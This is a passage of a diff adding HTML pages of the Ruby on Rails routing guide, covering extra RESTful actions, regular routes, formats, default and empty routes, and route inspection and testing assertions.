+<div class="para"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings_path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you're not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
+<h3 id="_adding_more_restful_actions">3.11. Adding More RESTful Actions</h3>
+<div class="para"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
+<h4 id="_adding_member_routes">3.11.1. Adding Member Routes</h4>
+<div class="para"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
+<div class="para"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_adding_collection_routes">3.11.2. Adding Collection Routes</h4>
+<div class="para"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
+<div class="para"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_adding_new_routes">3.11.3. Adding New Routes</h4>
+<div class="para"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
+<h4 id="_a_note_of_caution">3.11.4. A Note of Caution</h4>
+<div class="para"><p>If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
+</div>
+<h2 id="_regular_routes_2">4. Regular Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
+<div class="para"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.</p></div>
+<h3 id="_bound_parameters">4.1. Bound Parameters</h3>
+<div class="para"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+</tt></pre></div></div>
+<div class="para"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
+<h3 id="_wildcard_components">4.2. Wildcard Components</h3>
+<div class="para"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
+<h3 id="_static_text">4.3. Static Text</h3>
+<div class="para"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
+<h3 id="_querystring_parameters">4.4. Querystring Parameters</h3>
+<div class="para"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+</tt></pre></div></div>
+<div class="para"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
+<h3 id="_defining_defaults">4.5. Defining Defaults</h3>
+<div class="para"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
+</tt></pre></div></div>
+<div class="para"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
+<div class="para"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
+<h3 id="_named_routes_2">4.6. Named Routes</h3>
+<div class="para"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'destroy'</span>
+</tt></pre></div></div>
+<div class="para"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
+<h3 id="_route_requirements">4.7. Route Requirements</h3>
+<div class="para"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+  <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span>
+</tt></pre></div></div>
+<h3 id="_route_conditions">4.8. Route Conditions</h3>
+<div class="para"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
+<h3 id="_route_globbing">4.9. Route Globbing</h3>
+<div class="para"><p>Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
+<h3 id="_route_options">4.10. Route Options</h3>
+<div class="para"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>with_options <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photo'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
+  photo<span style="color: #990000">.</span>list <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'index'</span>
+  photo<span style="color: #990000">.</span>delete <span style="color: #FF0000">':id/delete'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'delete'</span>
+  photo<span style="color: #990000">.</span>edit <span style="color: #FF0000">':id/edit'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'edit'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
+</div>
+<h2 id="_formats_and_respond_to">5. Formats and respond_to</h2>
+<div class="sectionbody">
+<div class="para"><p>There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
+<div class="para"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+  format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># return the default template for HTML</span></span>
+  format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@photo</span><span style="color: #990000">.</span>to_xml <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_specifying_the_format_with_an_http_header">5.1. Specifying the Format with an HTTP Header</h3>
+<div class="para"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
+<h3 id="_recognized_mime_types">5.2. Recognized MIME types</h3>
+<div class="para"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg
+</tt></pre></div></div>
+</div>
+<h2 id="_the_default_routes">6. The Default Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_the_empty_route">7. The Empty Route</h2>
+<div class="sectionbody">
+<div class="para"><p>Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
+<h3 id="_using_map_root">7.1. Using map.root</h3>
+<div class="para"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
+</tt></pre></div></div>
+<div class="para"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
+<div class="para"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>index <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
+map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index
+</tt></pre></div></div>
+<div class="para"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
+<h3 id="_connecting_the_empty_string">7.2. Connecting the Empty String</h3>
+<div class="para"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If the empty route does not seem to be working in your application, make sure that you have deleted the file <tt>public/index.html</tt> from your Rails tree.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_inspecting_and_testing_routes">8. Inspecting and Testing Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
+<h3 id="_seeing_existing_routes_with_rake">8.1. Seeing Existing Routes with rake</h3>
+<div class="para"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you'll see:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The route name (if any)
+</p>
+</li>
+<li>
+<p>
+The HTTP verb used (if the route doesn't respond to all verbs)
+</p>
+</li>
+<li>
+<p>
+The URL pattern
+</p>
+</li>
+<li>
+<p>
+The routing parameters that will be generated by this URL
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, here's a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>          users GET  /users          {:controller=&gt;"users", :action=&gt;"index"}
+formatted_users GET  /users.:format  {:controller=&gt;"users", :action=&gt;"index"}
+                POST /users          {:controller=&gt;"users", :action=&gt;"create"}
+                POST /users.:format  {:controller=&gt;"users", :action=&gt;"create"}</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You'll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don't wrap.</td>
+</tr></table>
+</div>
+<h3 id="_testing_routes">8.2. Testing Routes</h3>
+<div class="para"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>assert_generates</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>assert_recognizes</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>assert_routing</tt>
+</p>
+</li>
+</ul></div>
+<h4 id="_the_tt_assert_generates_tt_assertion">8.2.1. The <tt>assert_generates</tt> Assertion</h4>
+<div class="para"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_generates <span style="color: #FF0000">"/photos/1"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
+assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"about"</span>
+</tt></pre></div></div>
+<h4 id="_the_tt_assert_recognizes_tt_assertion">8.2.2. The <tt>assert_recognizes</tt> Assertion</h4>
+<div class="para"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span>
+</tt></pre></div></div>
+<div class="para"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
